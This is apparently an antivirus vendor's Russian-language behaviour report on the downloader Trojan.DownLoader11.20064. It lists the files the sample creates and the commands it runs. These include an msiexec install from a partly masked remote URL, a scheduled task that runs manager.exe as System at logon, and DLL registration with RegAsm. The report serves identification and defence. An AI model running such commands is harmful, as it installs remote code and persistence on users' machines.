Trojan.DownLoader11.20064

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\nsd2.tmp\ns8.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" add-repo --url=https://www.is###lifier.com/addon/repo/repository.xml --bare-format
'%TEMP%\nsd2.tmp\ns6.tmp' msiexec.exe /qb- /i http://di#######nk7d.cloudfront.net/cl.msi
'%TEMP%\nsd2.tmp\nsB.tmp' <SYSTEM32>\schtasks.exe /create /tn NSManager /sc onlogon /tr "\"<LS_APPDATA>\NSManager\manager.exe\"" /ru System
'%TEMP%\nsd2.tmp\str.exe' -d -s "<LS_APPDATA>\NSManager\manager.exe" /accepteula
'%TEMP%\nsd2.tmp\nsA.tmp' "%TEMP%\nsd2.tmp\str.exe" -d -s "<LS_APPDATA>\NSManager\manager.exe" /accepteula
'%TEMP%\nsd2.tmp\ns9.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" remove-repo --url=https://windows-package-manager.googlecode.com/hg/repository/Rep.xml --bare-format
'%TEMP%\nsd2.tmp\str.exe' -d -s "%PROGRAM_FILES%\Simple\Simple.dll" /accepteula
'%TEMP%\nsd2.tmp\ns3.tmp' "%TEMP%\nsd2.tmp\str.exe" -d -s "%PROGRAM_FILES%\Simple\Simple.dll" /accepteula
'%TEMP%\nsd2.tmp\ns4.tmp' "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" "%PROGRAM_FILES%\Simple\Simple.dll" /s /codebase
'%TEMP%\nsd2.tmp\max.exe' {886BF106-6EBF-4EF4-8676-6663CAABBDA4}
'%TEMP%\nsd2.tmp\ns5.tmp' "%TEMP%\nsd2.tmp\max.exe" {886BF106-6EBF-4EF4-8676-6663CAABBDA4}
'%TEMP%\nsd2.tmp\max.exe' (загружен из сети Интернет)
'%TEMP%\nsd2.tmp\str.exe' (загружен из сети Интернет)

Запускает на исполнение:

'<SYSTEM32>\msiexec.exe' /V
'<SYSTEM32>\schtasks.exe' /create /tn NSManager /sc onlogon /tr "\"<LS_APPDATA>\NSManager\manager.exe\"" /ru System
'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' "%PROGRAM_FILES%\Simple\Simple.dll" /s /codebase
'<SYSTEM32>\msiexec.exe' /qb- /i http://di#######nk7d.cloudfront.net/cl.msi

Завершает или пытается завершить

следующие пользовательские процессы:

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\manager[1].zip
%TEMP%\nsd2.tmp\manager.zip
%TEMP%\nsd2.tmp\nsA.tmp
%WINDIR%\Installer\MSI7.tmp
%TEMP%\nsd2.tmp\ns8.tmp
%TEMP%\nsd2.tmp\ns9.tmp
%TEMP%\nsd2.tmp\nsB.tmp
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\11[1]
%TEMP%\nsd2.tmp\index.html
%PROGRAM_FILES%\Simple\uninst.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\simpff[1].zip
%TEMP%\nsd2.tmp\simpff.zip
%TEMP%\nsd2.tmp\nsJSON.dll
%TEMP%\nsd2.tmp\ns6.tmp
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\str[1].exe
%TEMP%\nsd2.tmp\str.exe
%TEMP%\nsd2.tmp\nsProcess.dll
%TEMP%\nsd2.tmp\inetc.dll
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\max[1].exe
%TEMP%\nsd2.tmp\max.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\simpie[1].zip
%TEMP%\nsd2.tmp\ns3.tmp
%TEMP%\nsd2.tmp\ns4.tmp
%TEMP%\nsd2.tmp\ns5.tmp
%TEMP%\nsd2.tmp\simpie.zip
%TEMP%\nsd2.tmp\nsUnzip.dll
%TEMP%\nsd2.tmp\nsExec.dll